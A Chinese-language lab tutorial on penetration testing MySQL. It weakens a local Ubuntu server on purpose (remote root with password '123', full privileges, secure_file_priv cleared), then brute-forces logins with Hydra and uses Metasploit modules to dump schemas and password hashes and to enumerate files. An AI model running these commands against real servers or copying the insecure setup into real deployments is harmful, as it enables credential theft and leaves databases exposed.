MySQL数据库的渗透测试全流程,包括实验环境搭建、暴力破解MySQL凭证、使用Metasploit进行利用、配置自定义端口等步骤。文章从MySQL的安装和配置开始,逐步介绍了如何通过nmap工具扫描MySQL服务状态,修改MySQL配置以允许远程连接,创建具有所有权限的用户,以及如何使用Hydra工具进行密码破解。接着,文章展示了如何利用Metasploit框架中的辅助工具来执行SQL查询、转储数据库模式、获取用户名和密码哈希值、检查可写文件和目录、枚举MySQL服务器。最后,文章还介绍了如何修改MySQL的默认端口以增加安全性。

摘要

MySQL,作为一款开源的关系数据库管理系统(RDBMS),在结构化数据管理与组织方面发挥着举足轻重的作用。它通过表格形式存储数据,并广泛采用客户端-服务器架构,在网络环境中实现高效的数据管理。在此架构下,MySQL服务器负责数据库的管理与维护,而客户端应用程序则通过连接到服务器,执行诸如查询、更新数据等任务。值得注意的是,MySQL客户端与服务器之间的通信是基于TCP/IP协议进行的,且默认监听3306端口。

实验环境搭建

本次实验的环境配置如下:

  • 目标机器:Ubuntu(IP地址为192.168.31.205)
  • 攻击机器:Kali Linux(IP地址为192.168.31.141)

在Ubuntu机器上,我们通过以下命令安装了MySQL服务:

apt install mysql-server

640 (15).webp

随后,我们使用netstat -tlnp命令检查MySQL服务器是否已成功启动并运行:

netstat -tlnp

640 (16).webp

从输出结果中,我们可以清晰地看到MySQL服务器已在3306端口上启动并运行。

接下来,我们在Kali Linux上使用nmap工具对目标IP的3306端口进行扫描,以确认其状态。执行以下命令:

nmap -p3306 -sV 192.168.31.205

640 (17).webp

然而,扫描结果显示MySQL服务的3306端口处于关闭状态。这是由于MySQL服务器默认配置为仅监听本地回环地址127.0.0.1。为了使其能够接受远程连接,我们需要修改这一配置。在Ubuntu机器上,通过以下命令编辑mysqld.cnf文件:

nano /etc/mysql/mysql.conf.d/mysqld.cnf

640 (18).webp

在文件中,我们注释掉了bind-address=127.0.0.1这一行,以允许MySQL服务监听所有网络接口。

640 (19).webp

再次使用nmap工具扫描目标IP,我们发现3306端口现已处于开放状态。

nmap -p3306 -sV 192.168.31.205

640 (20).webp

但此时,我们仍无法从远程机器上连接到MySQL服务。为了解决这个问题,我们需要在MySQL数据库中执行以下命令:

mysql -uroot
CREATE USER 'root'@'%' IDENTIFIED BY '123';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';
FLUSH PRIVILEGES;

640 (21).webp

首先,我们以root用户身份登录MySQL服务器。然后,我们创建了一个名为root的新用户,该用户可以从任何主机进行连接,并为其设置了密码123。接着,我们授予该用户对所有数据库和表的所有权限。最后,我们重新加载了权限表,以确保更改立即生效。

现在,我们可以在Kali Linux上通过以下命令检查是否能够远程登录到MySQL服务器:

mysql -h 192.168.31.205 -uroot -p

640 (22).webp

成功远程连接到MySQL数据库后,我们便可以开始对其进行渗透测试。

暴力破解MySQL凭证

在Kali Linux中,我们可以利用Hydra工具对用户名和密码列表进行暴力破解,以获取MySQL的登录凭证。这里,我们使用用户名列表users.txt和密码列表pass.txt。执行以下命令进行暴力破解:

hydra -L users.txt -P pass.txt 192.168.31.205 mysql

640 (23).webp

使用Metasploit进行利用

Metasploit提供了许多与MySQL服务器相关的漏洞利用和辅助工具。我们可以利用这些工具对MySQL服务器进行进一步的攻击。

首先,我们使用auxiliary/admin/mysql/mysql_sql模块在连接数据库后直接运行SQL查询。执行以下命令:

msfconsole -q
use auxiliary/admin/mysql/mysql_sql
set rhosts 192.168.31.205
set username root
set password 123
set sql show databases
run

640 (24).webp

接着,我们使用auxiliary/scanner/mysql/mysql_schemadump模块来转储整个数据库模式。只需提供连接数据库的用户名和密码即可。执行以下命令:

use auxiliary/scanner/mysql/mysql_schemadump
set rhosts 192.168.31.205
set username root
set password 123
run

640 (25).webp

为了获取用户名和密码哈希值,我们可以使用auxiliary/scanner/mysql/mysql_hashdump模块。该模块会输出用户名和密码哈希值。执行以下命令:

use auxiliary/scanner/mysql/mysql_hashdump
set rhosts 192.168.31.205
set username root
set password 123
run

640 (26).webp

为了检查MySQL服务器端是否存在可写文件目录,我们可以使用auxiliary/scanner/mysql/mysql_writable_dirs模块进行识别。但默认情况下,这是不可能的。我们需要在MySQL配置文件中更改一个设置,然后才能枚举可写目录。

为此,我们编辑/etc/mysql/mysql.conf.d/mysqld.cnf文件,并在文件末尾添加secure_file_priv=""

640 (27).webp

现在,我们使用Metasploit检查可写目录:

use auxiliary/scanner/mysql/mysql_writable_dirs
set rhosts 192.168.31.205
set username root
set password 123
set dir_list dir.txt
run

640 (28).webp

从输出结果中,我们可以看到/tmp目录是可写的。

为了枚举文件和目录,我们可以使用auxiliary/scanner/mysql/mysql_file_enum模块。该模块会告诉我们目录或文件是否存在。

640 (29).webp

最后,为了全面枚举整个MySQL服务器,我们可以使用auxiliary/admin/mysql/mysql_enum模块。该模块会在使用有效凭据后,在MySQL服务器上执行全面的枚举操作。执行以下命令:

use auxiliary/admin/mysql/mysql_enum
set rhosts 192.168.31.205
set username root
set password 123
run

640 (30).webp

配置自定义端口

若要在MySQL中修改默认端口,我们需要编辑配置文件。该文件的路径为/etc/mysql/mysql.conf.d/mysqld.cnf。

nano etc/mysql/mysql.conf.d/mysqld.cnf

640 (31).webp

在文件中,我们可以看到默认端口为3306。我们可以将其修改为其他端口,例如4403,并删除该行前的注释符号(#)。

640 (32).webp

现在,如果我们使用nmap扫描目标IP,可以看到MySQL服务已在新端口上运行。

640 (33).webp

标签: MySQL, 渗透测试, 暴力破解, Metasploit, Hydra, SQL

添加新评论